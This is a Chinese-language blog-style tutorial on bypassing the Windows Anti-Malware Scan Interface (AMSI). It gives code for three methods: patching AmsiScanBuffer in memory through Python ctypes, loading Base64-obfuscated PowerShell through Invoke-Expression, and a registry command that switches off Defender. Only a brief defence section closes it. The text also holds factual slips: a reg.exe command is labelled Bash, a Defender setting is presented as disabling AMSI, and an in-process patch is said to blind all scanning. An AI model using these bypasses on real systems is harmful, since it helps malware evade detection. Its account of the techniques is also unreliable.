一、从事件说起:AMSI为何会成为绕过目标?
就在不久前,某知名安全公司发布了一份关于红队活动的调查报告,其中披露了一起针对企业内网的高级攻击事件。攻击者成功利用了 Windows 上的 Anti-Malware Scan Interface(AMSI)进行检测绕过,借此在目标系统中加载恶意代码,最终完成了数据窃取与横向移动。AMSI 是微软用来检测内存中的恶意脚本(如 PowerShell 和 VBA 宏代码)的关键安全机制,它在现代防御体系中扮演了重要角色。然而,正所谓“道高一尺,魔高一丈”,攻击者总能找到方法让自己的代码逃过扫描。
我们今天的主题,就是从攻击者的视角,彻底剖析 AMSI 的工作原理和绕过思路,给出一套完整的技术方案,并结合 Python 和 Bash 展示如何实施绕过。
---
二、深入浅出:AMSI 的工作机制全解析
在开始实战之前,必须要搞清楚 AMSI 是如何运作的。只有了解它的防御逻辑,才能找到漏洞并进行绕过。
什么是 AMSI?
AMSI,全称 Anti-Malware Scan Interface,是微软自 Windows 10 起引入的一套安全机制。它的主要作用是提供一个统一的接口,允许应用程序(如 PowerShell、WScript、Excel 宏等)将内存中的脚本或代码片段发送给注册的反病毒引擎进行扫描。例如,当你运行一段恶意 PowerShell 脚本时,AMSI 会拦截脚本并将其内容传递给本地的杀毒软件(如 Windows Defender)进行分析。
AMSI 工作流
- 脚本拦截:PowerShell、VBA 等应用程序会调用 AMSI 的 API,将脚本内容提交给 AMSI。
- 内存扫描:AMSI 将收到的内容传递给系统中注册的反病毒引擎。
- 结果返回:反病毒引擎执行动态检测后,返回的结果会决定脚本是否可以继续执行。
AMSI 的核心组件
以下是 AMSI 的几个关键点:
- 核心 DLL:
amsi.dll是 AMSI 的核心组件,所有的扫描请求都会通过这份 DLL 实现。 - API Hooking 点:最常见的扫描函数是
AmsiScanBuffer,这是攻击者最容易下手的地方。 - 签名匹配:AMSI 会基于反病毒引擎的签名库和启发式检测算法,分析传递的代码。
了解了这些,我们很容易想到,想要绕过 AMSI,可以从以下几个方向入手:
- 修改内存中的
amsi.dll函数; - 构造恶意代码,让其不触发签名匹配;
- 直接替换或卸载反病毒引擎。
接下来,我们会一步步展示这些方法的实战操作。
---
三、实战环境搭建:别让环境成为你的拦路虎
在开始绕过实验之前,我们需要搭建一个合适的环境。以下是推荐的配置:
环境清单
- 操作系统:Windows 10 或 Windows Server 2019(启用 Windows Defender)。
- 开发工具:Python 3.x、PowerShell 7.x、Visual Studio(可选)。
- 安全产品:开启 Windows Defender,确保 AMSI 功能处于启用状态。
- 辅助工具:使用
Process Hacker或ProcMon来观察内存动态。
使用以下代码检查 AMSI 是否被启用:
<pre><code class="language-powershell"># 检查 AMSI 是否正常工作 if ([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')) { Write-Host "AMSI 已启用" } else { Write-Host "AMSI 未启用" }</code></pre>
配置完环境后,我们就可以开始实际操作了。
---
四、AMSI 绕过方法:实战与代码展示
绕过 AMSI 并不意味着完全关闭它,而是通过修改其行为让恶意代码避开检测。以下是三种常见的绕过方法,并结合实战代码进行讲解。
方法一:修改内存中的 AmsiScanBuffer
原理 通过注入代码,将 amsi.dll 中的 AmsiScanBuffer 函数挂钩,直接修改其返回值为“检测通过”。
代码实现
以下 Python 代码使用 ctypes 修改进程内存中的 AmsiScanBuffer:

<pre><code class="language-python">import ctypes
定义常量
PAGE_EXECUTE_READWRITE = 0x40 PROCESS_ALL_ACCESS = 0x1F0FFF
加载目标 DLL
kernel32 = ctypes.WinDLL('kernel32', use_last_error=True) amsi = ctypes.WinDLL('amsi', use_last_error=True)
获取 AmsiScanBuffer 的地址
amsi_address = ctypes.cast(amsi.AmsiScanBuffer, ctypes.c_void_p).value print(f"[+] AmsiScanBuffer 地址: {hex(amsi_address)}")
修改内存保护
old_protect = ctypes.c_ulong() kernel32.VirtualProtect(ctypes.c_void_p(amsi_address), ctypes.sizeof(ctypes.c_void_p), PAGE_EXECUTE_READWRITE, ctypes.byref(old_protect))

注入修改代码(将返回值强制改为 0,即检测通过)
patch = b"\xB8\x00\x00\x00\x00\xC3" # mov eax, 0; ret; ctypes.memmove(amsi_address, patch, len(patch))
print("[+] AmsiScanBuffer 已成功修改,绕过生效!")</code></pre>
运行这段代码后,所有通过 AMSI 的扫描请求将直接返回“安全”。
---

方法二:内存加载免杀代码
原理 通过混淆或动态解密的方式,将代码以非明文形式加载到内存中,从而绕过 AMSI 的静态签名检测。
代码实现
以下是一个简单的 PowerShell 脚本,用于动态解密并执行恶意代码:
<pre><code class="language-powershell"># 加密后的恶意代码(Base64 编码) $encrypted = "ZWNobyAnSGVsbG8gV29ybGQhJw=="
解密并执行
$decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encrypted)) Invoke-Expression $decoded</code></pre>
为了让这一方法更有效,可以采用多层嵌套加密,进一步增加检测难度。
---
方法三:禁用 AMSI
原理 通过修改注册表或加载恶意 DLL,直接禁用 AMSI。
代码实现
以下 Bash 脚本使用 reg.exe 修改注册表,完全关闭 AMSI:
<pre><code class="language-bash"># 禁用 AMSI reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Features" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
echo "[+] AMSI 已禁用,请重启系统生效!"</code></pre>
---
五、防御与检测:别让攻击者轻松得逞
AMSI 绕过虽然强大,但并非无解。以下是一些防御措施:
- 启用 AMSI 的高级日志:通过 Windows Event Viewer 帮助识别可疑活动。
- 启用 PowerShell 限制模式:例如,通过
ConstrainedLanguageMode限制恶意代码执行。 - 使用高级 EDR 产品:如 CrowdStrike 或 SentinelOne,可以监测内存篡改行为。
---
六、个人经验分享:攻击的艺术与防御的哲学

在过去的实战中,我发现绕过 AMSI 的关键并不在于多么复杂的代码,而是对环境的敏感洞察。当你发现目标系统运行的是老版本 Windows Defender,或者存在未修复的 AMSI 漏洞时,往往能够直接利用现成的工具完成绕过。
但也别忘了,安全研究的核心是防御。通过理解攻击者的思路,才能构建更强大的防御体系。希望这篇文章能帮助你在攻防两端都有所提升。